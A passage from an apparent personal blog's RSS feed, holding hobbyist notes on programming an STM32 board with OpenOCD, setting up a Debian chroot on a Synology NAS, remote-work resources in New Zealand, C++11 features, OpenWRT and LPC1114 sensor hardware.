&lt;li&gt;STM32F103RBT6 CPU&lt;/li&gt;
&lt;li&gt;128 Ki flash, 20 Ki RAM, 72 Mhz&lt;/li&gt;
&lt;li&gt;Standard 20 pin JTAG connector&lt;/li&gt;
&lt;li&gt;Green STAT LED on PC12&lt;/li&gt;
&lt;li&gt;8 MHz crystal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Manual
&lt;a href=&#34;https://www.olimex.com/Products/ARM/ST/STM32-H103/resources/STM32-H103.pdf&#34;&gt;https://www.olimex.com/Products/ARM/ST/STM32-H103/resources/STM32-H103.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Schematic
&lt;a href=&#34;https://www.olimex.com/Products/ARM/ST/STM32-H103/resources/STM32-H103-sch.gif&#34;&gt;https://www.olimex.com/Products/ARM/ST/STM32-H103/resources/STM32-H103-sch.gif&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;programming&#34;&gt;Programming&lt;/h2&gt;
&lt;p&gt;I used the Ubuntu Raring OpenOCD 0.6.0 and a Signalyzer Lite. The host
is a Macbook Air running Windows with Ubuntu Raring in a VM. OpenOCD
sometimes fails with a &lt;code&gt;Error: unable to open ftdi device: unable to fetch product description&lt;/code&gt; error, but re-plugging the JTAG device fixes
that.&lt;/p&gt;
&lt;p&gt;A basic OpenOCD config file works fine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Olimex STM32-H103
source [find interface/signalyzer-lite.cfg]
source [find target/stm32f1x.cfg]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Programming via &lt;code&gt;telnet localhost 4444&lt;/code&gt; involves:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reset halt
flash probe 0
stm32f1x mass_erase 0
flash write_image blink.hex 0 ihex
reset run
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Synology DS123 Hacking</title>
      <link>https://juju.nz/michaelh/note/ds123/</link>
      <pubDate>Sun, 03 Mar 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/ds123/</guid>
      <description>&lt;p&gt;Links&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;http://www.synocommunity.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;SynoCommunity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;http://www.nslu2-linux.org/wiki/Optware/HomePage/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Optware&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What&amp;rsquo;s running&lt;/p&gt;
&lt;h2 id=&#34;the-usuals&#34;&gt;The usuals&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;cron&lt;/li&gt;
&lt;li&gt;inetd&lt;/li&gt;
&lt;li&gt;syslogd&lt;/li&gt;
&lt;li&gt;rsyslogd&lt;/li&gt;
&lt;li&gt;hotplugd&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;services&#34;&gt;Services&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ntpd&lt;/li&gt;
&lt;li&gt;sshd&lt;/li&gt;
&lt;li&gt;Apache httpd 2.2.22&lt;/li&gt;
&lt;li&gt;postgres&lt;/li&gt;
&lt;li&gt;cupsd&lt;/li&gt;
&lt;li&gt;Sambda nmbd / smbd&lt;/li&gt;
&lt;li&gt;snmpd&lt;/li&gt;
&lt;li&gt;avahi-daemon&lt;/li&gt;
&lt;li&gt;lighttpd for MediaServer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;layout&#34;&gt;Layout&lt;/h2&gt;
&lt;p&gt;Generally under &lt;code&gt;/usr/syno&lt;/code&gt; with one directory per package. Some in the
usual UNIX &lt;code&gt;bin&lt;/code&gt; etc.&lt;/p&gt;
&lt;h2 id=&#34;installing-debian&#34;&gt;Installing Debian&lt;/h2&gt;
&lt;p&gt;SynoCommunity provide a chroot package that can be installed from the
DSM. It needs a little bit of work past there. Some incomplete notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;root&lt;/code&gt; have the same password, but only &lt;code&gt;root&lt;/code&gt; can &lt;code&gt;su; chroot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The chroot ended up in
&lt;code&gt;/volume1/@appstore/debian-chroot/var/chroottarget&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Create the user and role account through DSM first&lt;/li&gt;
&lt;li&gt;Copy into the chroot &lt;code&gt;passwd&lt;/code&gt; and &lt;code&gt;shadow&lt;/code&gt; - don&amp;rsquo;t overwrite&lt;/li&gt;
&lt;li&gt;Bind mount &lt;code&gt;/volume1/homes&lt;/code&gt; (&lt;code&gt;/var/services/homes&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Bind mount &lt;code&gt;/dev&lt;/code&gt;, &lt;code&gt;/dev/pts&lt;/code&gt;, and &lt;code&gt;/proc&lt;/code&gt; for sshd to work&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;sshd&lt;/code&gt; inside the chroot to get direct, non-root access. Use a
different port in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Change &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; to testing only. Drop the pinning in
&lt;code&gt;/etc/apt/preferences&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A bit of hacking later, it seems that the scripts can do most of this
for you. &lt;code&gt;/var/packages/debian-chroot/scripts/start-stop-status&lt;/code&gt; will do
the bind mounts (except /home). The Services tab lets you start and
monitor the ssh server from DSM.&lt;/p&gt;
&lt;p&gt;Next question is should I run everything inside the chroot or try to use
the built-in basic services? The router will hide the port number
differences.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Remote work from New Zealand</title>
      <link>https://juju.nz/michaelh/note/remotework/</link>
      <pubDate>Mon, 03 Sep 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/remotework/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve worked remotely since 2009. Here&amp;rsquo;s some random notes.&lt;/p&gt;
&lt;h2 id=&#34;organisations&#34;&gt;Organisations&lt;/h2&gt;
&lt;p&gt;The New Zealand Open Source Society:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://nzoss.org.nz/&#34;&gt;http://nzoss.org.nz/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Canterbury Software Cluster:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.canterburysoftware.org.nz/&#34;&gt;http://www.canterburysoftware.org.nz/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Institute of IT Professionals (old NZCS):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.iitp.org.nz/&#34;&gt;http://www.iitp.org.nz/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Christchurch Robotics Club:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://kiwibots.org/&#34;&gt;http://kiwibots.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Robonz:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.pitstock.com/robonz/maillist.html&#34;&gt;http://www.pitstock.com/robonz/maillist.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Valley in Christchurch (TVIC):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://groups.google.com/forum/?fromgroups#!forum/tvic&#34;&gt;https://groups.google.com/forum/?fromgroups#!forum/tvic&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;companies&#34;&gt;Companies&lt;/h2&gt;
&lt;p&gt;Linaro&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.linaro.org/&#34;&gt;http://www.linaro.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.linaro.org/careers/linaro/&#34;&gt;http://www.linaro.org/careers/linaro/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Open source on ARM. Distributed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Canonical&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.canonical.com/&#34;&gt;http://www.canonical.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.canonical.com/about-canonical/careers&#34;&gt;http://www.canonical.com/about-canonical/careers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;~600 people, Ubuntu, web, cloud, phone, tablet, distributed. Phew!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mozilla&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.mozilla.org/&#34;&gt;http://www.mozilla.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://careers.mozilla.org/&#34;&gt;http://careers.mozilla.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Firefox for desktop, Android,
distributed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Automattic&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://automattic.com/work-with-us/&#34;&gt;http://automattic.com/work-with-us/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://toni.org/2010/03/08/5-reasons-why-your-company-should-be-distributed/&#34;&gt;http://toni.org/2010/03/08/5-reasons-why-your-company-should-be-distributed/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Wordpress&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;37signals&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://jobs.37signals.com&#34;&gt;http://jobs.37signals.com&lt;/a&gt; - search for &amp;lsquo;anywhere&amp;rsquo;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>C&#43;&#43;11 abuse</title>
      <link>https://juju.nz/michaelh/note/cxxabuse/</link>
      <pubDate>Sat, 23 Jun 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/cxxabuse/</guid>
      <description>&lt;p&gt;I&amp;rsquo;d like to use the new features in C++11 and the GCC extensions in
anger. What are they?&lt;/p&gt;
&lt;p&gt;rvalue references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Generalised constant expressions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;constexpr&lt;/code&gt; to mark a function/constructor as compile time constant&lt;/li&gt;
&lt;li&gt;non-void return&lt;/li&gt;
&lt;li&gt;can&amp;rsquo;t declare variables, declare types&lt;/li&gt;
&lt;li&gt;single return&lt;/li&gt;
&lt;li&gt;non-integrals are now OK: &lt;code&gt;constexpr double foo = ...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;POD:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wider than before&lt;/li&gt;
&lt;li&gt;trivial: can be statically initialised, can copy via memcpy()&lt;/li&gt;
&lt;li&gt;standard layout: C compatible&lt;/li&gt;
&lt;li&gt;No virtual functions, base classes&lt;/li&gt;
&lt;li&gt;Same access control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Initialiser lists:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Class can have a std::initializer_list&lt;type&gt; constructor&lt;/li&gt;
&lt;li&gt;Foo foo = {1, 2, 3};&lt;/li&gt;
&lt;li&gt;bar({4, 5, 6})&lt;/li&gt;
&lt;li&gt;std::vector&lt;a href=&#34;std::string&#34;&gt;std::string&lt;/a&gt; v = { &amp;ldquo;x&amp;rdquo;, &amp;ldquo;y&amp;rdquo; }&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uniform initialisation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not sure?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;struct Foo { int a; int b; } ... Foo get_bar() { return ( 5, 6 ); }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Type inference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Awesome!&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto foo = wacky_template_type::yeah&amp;lt;int, bar&amp;gt;...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto foo = 5;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;decltype(some_variable) some_other;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Range based for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for (int &amp;amp;x : some_int_array) {}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Also works with iterators, begin()/end()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anonymous functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[](int arg1, int arg2) { return arg1 + arg2; }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Trailing return type:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Just like Go&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto foo(int x, int y) -&amp;gt; int;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto foo(int x, int y) -&amp;gt; decltype(x+y);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Used as x, y are now defined&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Constructors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Delegation: &lt;code&gt;Foo(int x) ...; Foo() : Foo(42) {}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Better than default values as the default gets spread across all
callers&lt;/li&gt;
&lt;li&gt;Base class constructor inheritance: &lt;code&gt;Derived : Base { using Base::Base; }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Member initialisation: &lt;code&gt;int value = 5;&lt;/code&gt; will be called by all
constructors&lt;/li&gt;
&lt;li&gt;&lt;code&gt;explicit Constructor...&lt;/code&gt; to skip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Explicit override:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mark that you intended to override a base function&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtual void do_it() override;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Final classes and functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct Base final {}&lt;/code&gt;: can&amp;rsquo;t derrive from&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtual void the_last() final;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Null pointer constant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No more zero, no more NULL: just &lt;code&gt;nullptr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No ambiguity with int args&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fancy enums:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enum class Foo : char { X, Y };&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gives Foo::X&lt;/li&gt;
&lt;li&gt;Explicit storage type&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extended templates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Typedef for a partial template specialisation&lt;/li&gt;
&lt;li&gt;&lt;code&gt;using TypedefName = SomeType&amp;lt;OtherType, Second, 5&amp;gt;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;using OtherType = void (*)(double);&lt;/code&gt; is the same as typedef
(*OtherType)(double)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unrestricted unions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;union can hold a type with a non trivial constructor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;String literals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;u8&amp;quot;I&amp;rsquo;m in UTF-8 and a const char and a random \u2012 character&amp;rdquo;&lt;/li&gt;
&lt;li&gt;u&amp;quot;I&amp;rsquo;m in UTF-16 and a const char16_t&amp;rdquo;&lt;/li&gt;
&lt;li&gt;U&amp;quot;I&amp;rsquo;m in UTF-32 and a const char32_t&amp;rdquo;&lt;/li&gt;
&lt;li&gt;R&amp;rdquo;(I&amp;rsquo;m a raw string)&amp;rdquo;&lt;/li&gt;
&lt;li&gt;R&amp;quot;xy(So am I)xy&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Explicitly deleted/defaulted members:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Explicit default constructor &lt;code&gt;class Foo { Foo() = default; }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No default copy constructor &lt;code&gt;class Foo { Foo(const Foo&amp;amp;) = delete; }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No implicit cast &lt;code&gt;class Foo { void f(double); void f(int) = delete; }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Misc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; closes templates. Don&amp;rsquo;t need &lt;code&gt;&amp;gt; &amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;explicit&lt;/code&gt; on conversion operators and constructors to prevent
implicit conversion to other types&lt;/li&gt;
&lt;li&gt;Variadic templates?&lt;/li&gt;
&lt;li&gt;User defined literals: &lt;code&gt;Type variable = 1234_suffix;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;But when are they evaluated? compile, start, or runtime?&lt;/li&gt;
&lt;li&gt;static_assert&lt;/li&gt;
&lt;li&gt;sizeof on members: &lt;code&gt;struct Foo { int bar; }; sizeof(Foo::bar);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;alignof(), alignas()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Standard library:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;std::thread&lt;/li&gt;
&lt;li&gt;std::lock_guard, std::unique_lock&lt;/li&gt;
&lt;li&gt;Futures, promises, and async&lt;/li&gt;
&lt;li&gt;std::tuples&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Fancybox</title>
      <link>https://juju.nz/michaelh/note/fancybox/</link>
      <pubDate>Sun, 17 Jun 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/fancybox/</guid>
      <description>&lt;p&gt;OpenWRT can do quite a few things I need on my network that are running
in many places, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DHCP server with DNS hooks - dnsmasq&lt;/li&gt;
&lt;li&gt;Netboot/DHCP/TFTP server - dnsmasq&lt;/li&gt;
&lt;li&gt;Proxy - polipo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It could let me use IPv6.&lt;/p&gt;
&lt;p&gt;The

&lt;a href=&#34;http://www.tp-link.com.au/products/details/?model=TL-MR3220&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;TL-MR3220&lt;/a&gt;
has a 400 MHz MIPS CPU, 32 MB of RAM, and 4 MB of flash.&lt;/p&gt;
&lt;h2 id=&#34;usb-audio&#34;&gt;USB audio&lt;/h2&gt;
&lt;p&gt;Via the MiniDisc USB adapter - sounds really good.&lt;/p&gt;
&lt;p&gt;Choose music via:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;http://wiki.openwrt.org/doc/howto/pulseaudio&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Pulseaudio sink&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href=&#34;http://mpd.wikia.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MPD&lt;/a&gt; with many clients including Android&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;other&#34;&gt;Other&lt;/h2&gt;
&lt;p&gt;The 
&lt;a href=&#34;http://wiki.daviddarts.com/PirateBox&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PirateBox&lt;/a&gt; is interesting.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>LPC1114 Temperature Sensor</title>
      <link>https://juju.nz/michaelh/note/lpc1114/</link>
      <pubDate>Sun, 10 Jun 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/lpc1114/</guid>
      <description>&lt;p&gt;The idea is to use the Cortex-M0 based LPC1114 as a low power micro in a
remote temperature sensor. Use a solar light as the case and power
source and it should run forever.&lt;/p&gt;
&lt;p&gt;Use the 
&lt;a href=&#34;http://olimex.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Olimex&lt;/a&gt;

&lt;a href=&#34;http://olimex.com/dev/lpc-h11xx.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;LPC-H11U14&lt;/a&gt; as a breakout board.&lt;/p&gt;
&lt;p&gt;Initial code is at &lt;a href=&#34;http://juju.net.nz/src/lpc1114.git/&#34;&gt;http://juju.net.nz/src/lpc1114.git/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;http://www.nxp.com/documents/data_sheet/LPC111X.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Datasheet&lt;/a&gt; 
&lt;a href=&#34;http://www.nxp.com/documents/user_manual/UM10398.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;User
manual&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;hardware&#34;&gt;Hardware&lt;/h2&gt;
&lt;p&gt;LPC1114FBD48/302:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;LPC1100L&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;38 x 38 mm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;32 k flash, 8 k RAM, UART, 2x SSP, I2C, ADC&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TMP102 0.5 deg C?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;microbuilder reference design:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NCP1402 converter. 0.8 V startup, 200 mA, various outputs.&lt;/li&gt;
&lt;li&gt;24AA32AFT. Microchip I2C 4 k x 8 EEPROM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;PIO0_7&lt;/code&gt; (23) is a 20 mA high current driver. The I2C lines are high
current sinks. A white LED has a ~3.5 V drop. Red is ~1.6 V and
yellow/green ~2.0 V at 10 mA. 10 mA for a (5 V - 1.8 V) drop = 320 Ohms.&lt;/p&gt;
&lt;p&gt;Regulator is a LDO (1.2 V) 800 mA LM1117. Steering diodes give another
0.6 V so it shouldn&amp;rsquo;t work :)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;IOCON&lt;/code&gt; set the routing for different signals like the SPI clock.&lt;/p&gt;
&lt;p&gt;Two SPI ports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SPI0: SCK0/PIO0_6 (22), MISO0/PIO0_8 (27), MOSI0/PIO0_9 (28),
SSEL0/PIO0_2 (10)&lt;/li&gt;
&lt;li&gt;SPI1: SCK1/PIO2_1 (13), MISO1/PIO2_2 (26), MOSI1/PIO2_3 (38),
SSEL1/PIO2_0 (2)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;power&#34;&gt;Power&lt;/h2&gt;
&lt;p&gt;The dev board has a LM1117IMPX-ADJ and 240R + 390R divider. V = IR so I
= 5.2 mA!&lt;/p&gt;
&lt;p&gt;1.8 to 3.6 V supply. Must boost.&lt;/p&gt;
&lt;p&gt;1 mA at 6 MHz. 5 mA at 50 MHz.&lt;/p&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/microbuilder/LPC1114CodeBase&#34;&gt;https://github.com/microbuilder/LPC1114CodeBase&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;mbed is a LPC11U24 but I can&amp;rsquo;t find the library code&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.microbuilder.eu/&#34;&gt;http://www.microbuilder.eu/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;speed&#34;&gt;Speed&lt;/h2&gt;
&lt;p&gt;0.98 CoreMark/MHz with Code Red GCC 4.3.3.&lt;/p&gt;
&lt;h2 id=&#34;bootloader&#34;&gt;Bootloader&lt;/h2&gt;
&lt;p&gt;The built in bootloader seems fine. ASCII/uuencode based with auto baud.
Starts the user program if &amp;lsquo;valid&amp;rsquo; based on the vectors checksum.&lt;/p&gt;
&lt;p&gt;Pins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#RESET/PIO0_0&lt;/code&gt; / pin 3&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PIO0_1&lt;/code&gt; / pin 4 low on reset to enter the loader&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RXD/PIO1_6&lt;/code&gt; / pin 46&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TXD/PIO1_7&lt;/code&gt; / pin 47&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Protocol:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?&lt;/code&gt; -&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;- &lt;code&gt;Synchronized&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Synchronized&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;/code&gt; -&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;- &lt;code&gt;OK&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Use my FTD2232 based JTAG?&lt;/p&gt;
&lt;h2 id=&#34;interface&#34;&gt;Interface&lt;/h2&gt;
&lt;p&gt;Use one of the Nokia DKU-5 clones from Trademe.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;+5V TXD DTR RXD GND&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RTS ??? ??? ??? ???&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;DTR and RTS can map to reset and BSL. Matches the 
&lt;a href=&#34;http://www.sparkfun.com/products/714&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sparkfun
one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Looking from the bottom of the IDC, I have:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;| | | |&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;1 2 3 4 5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;6 7 8 9 10&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 = RTS&lt;/li&gt;
&lt;li&gt;2 = TXD&lt;/li&gt;
&lt;li&gt;3 = RXD&lt;/li&gt;
&lt;li&gt;4 = &amp;ndash;&lt;/li&gt;
&lt;li&gt;6 = +5V&lt;/li&gt;
&lt;li&gt;7 = DTR&lt;/li&gt;
&lt;li&gt;8 = GND&lt;/li&gt;
&lt;li&gt;5, 9, 10 = NC&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;memory-map&#34;&gt;Memory map&lt;/h2&gt;
&lt;p&gt;Bootloader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 - 0x7FFF: Flash in 4 k sectors&lt;/li&gt;
&lt;li&gt;0x10000000 + 8 k: RAM&lt;/li&gt;
&lt;li&gt;RAM + 0x17C to 0x025B: ISP work area&lt;/li&gt;
&lt;li&gt;Upper 32 bytes of RAM: Flash work area&lt;/li&gt;
&lt;li&gt;Top of RAM - 32 bytes: top of stack&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;hookups&#34;&gt;Hookups&lt;/h2&gt;
&lt;p&gt;I have a 
&lt;a href=&#34;http://olimex.com/dev/mod-nrf24L.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MOD-NRF24LR&lt;/a&gt;. NRF24L01.
SPI based.&lt;/p&gt;
&lt;p&gt;And a 
&lt;a href=&#34;http://olimex.com/dev/mod-lcd3310.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MOD-LCD3310&lt;/a&gt;. 84x48. SPI
based. Needs an extra data/command line.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Solar power for my office</title>
      <link>https://juju.nz/michaelh/project/solar/</link>
      <pubDate>Thu, 29 Mar 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/solar/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m getting a 10 square metre office built in the garden. Let&amp;rsquo;s solar
